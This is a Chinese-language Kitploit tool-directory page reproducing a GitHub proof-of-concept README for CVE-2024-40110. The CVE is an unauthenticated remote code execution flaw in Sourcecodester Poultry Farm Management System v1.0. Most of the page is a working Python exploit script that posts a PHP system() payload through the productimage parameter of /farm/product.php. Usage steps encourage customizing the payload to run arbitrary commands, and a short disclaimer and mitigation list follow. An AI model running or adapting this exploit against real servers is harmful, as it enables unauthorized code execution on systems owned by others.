Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

订阅源联系隐私© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
工具/GitHubGitHub/abdurahmon3236/cve-2024-40110
漏洞分析代码分析漏洞利用Web应用程序漏洞利用渗透测试Payload 开发
GitHubabdurahmon3236/cve-2024-40110

CVE-2024-40110

概念验证脚本,演示通过易受攻击的productimage参数在Sourcecodester家禽养殖管理系统中实现未认证远程代码执行。

查看仓库
322年前尚未审核
分享

概念验证(PoC):Sourcecodester Poultry Farm Management System v1.0 中无需认证的远程代码执行

本仓库包含一个概念验证(PoC)脚本,演示了 Sourcecodester Poultry Farm Management System v1.0 中一个无需认证的远程代码执行(RCE)漏洞。该漏洞存在于 /farm/product.php 的 productimage 参数中,允许攻击者在服务器上执行任意代码。

目录

  • 漏洞描述
  • 搭建与使用
    • PoC 脚本
  • 重要注意事项
  • 缓解措施

漏洞描述

CVE-ID:(待定)

概述: Sourcecodester Poultry Farm Management System v1.0 通过 /farm/product.php 中的 productimage 参数存在一个无需认证的远程代码执行(RCE)漏洞。该漏洞允许攻击者在无需认证的情况下在服务器上执行任意代码。

受影响版本:

  • Sourcecodester Poultry Farm Management System v1.0

搭建与使用

前提条件

  • Python 3.x
  • requests 库(pip install requests)

PoC 脚本

该脚本演示了攻击者如何通过向易受攻击的参数发送恶意请求来利用 RCE 漏洞。

将以下脚本保存为 rce_poc.py 并运行它。

import requests

# Configuration
target_url = "http://target-url/farm/product.php"  # Change this to the target URL

# Malicious payload
# The payload should be a command that the server can execute, e.g., 'ls' to list directory contents
# Here, we are using a simple PHP payload to demonstrate the RCE
payload = "<?php system('ls'); ?>"

# Construct the malicious request
data = {
    'productimage': payload  # The vulnerable parameter
}

def exploit_rce(url, data):
    """
    Exploit the RCE vulnerability by sending a malicious request to the target URL.

    Args:
        url (str): The target URL.
        data (dict): The data to be sent in the POST request.
    """
    try:
        response = requests.post(url, data=data)
        
        # Print the response details
        print("Status Code:", response.status_code)
        print("Response Body:", response.text)
        
        if response.status_code == 200:
            print("[+] Successfully executed the payload.")
        else:
            print("[-] Failed to execute the payload.")
    except requests.RequestException as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    print(f"Sending malicious request to: {target_url}")
    exploit_rce(target_url, data)

说明

  1. 配置:将 target_url 设置为易受攻击服务器的 /farm/product.php 端点 URL。
  2. Payload:该 payload 是一个简单的 PHP 命令执行 payload。您可以根据需要修改 payload 以执行不同的命令。
  3. 构建请求:脚本构造一个 POST 请求,其中在 productimage 参数中包含恶意 payload。
  4. 利用函数:exploit_rce() 函数向目标 URL 发送恶意请求并打印响应详情。
  5. 运行脚本:执行时,脚本将尝试利用 RCE 漏洞并打印结果。

重要注意事项

  • 权限:确保您已获得明确授权,允许对目标系统测试此漏洞。未经授权的测试是非法的且不道德的。
  • 测试环境:在受控环境中执行此测试,以避免影响生产系统。
  • Payload 定制:根据需要定制 payload,以实现所需的命令执行。

缓解措施

为缓解此漏洞,请应用以下步骤:

  • 输入验证:实施适当的输入验证,对用户输入进行清理。
  • 文件上传限制:限制文件上传,仅允许特定文件类型并强制限制文件大小。
  • 更新软件:定期将软件更新到最新版本,以应用安全补丁和修复。

通过遵循这些缓解措施和安全最佳实践,可以防止 Sourcecodester Poultry Farm Management System v1.0 中出现此类 RCE 漏洞。

下载工具

最受欢迎

查看全部 →

发现我们社区最常用的工具。

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 终极 OSINT 工具包:调查图谱、置信度评分、别名家族、地图、时间线和报告。49 个模块、400+ 个站点,无需 API 密钥。

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock 一键执行应用(CVE-2026-43499)

    647
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT 平台,可将 Shadowserver 报告导入 MongoDB,并将其重放为交互式地图、分析、发现、公告和高管仪表板。

    421
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer是一个开源的特权访问管理(PAM)平台,为DevOps和IT团队提供通过Web浏览器按需安全访问SSH、RDP、Kubernetes、数据库和RemoteApp端点的能力。

    389
  • 5

    ARTEX

    baarai/artex

    基于LLM的多智能体自主渗透测试平台,具备规划器/执行器智能体、资产与探索图谱、MITM流量记录以及漏洞复测功能。

    333
  • 6

    SafeLine

    chaitin/safeline

    自托管WAF和反向代理,可过滤恶意HTTP流量、阻止SQL注入、XSS和机器人攻击,具备速率限制和动态HTML/JS加密功能。

    331

探索所有工具

浏览我们的工具集合

查看所有工具 →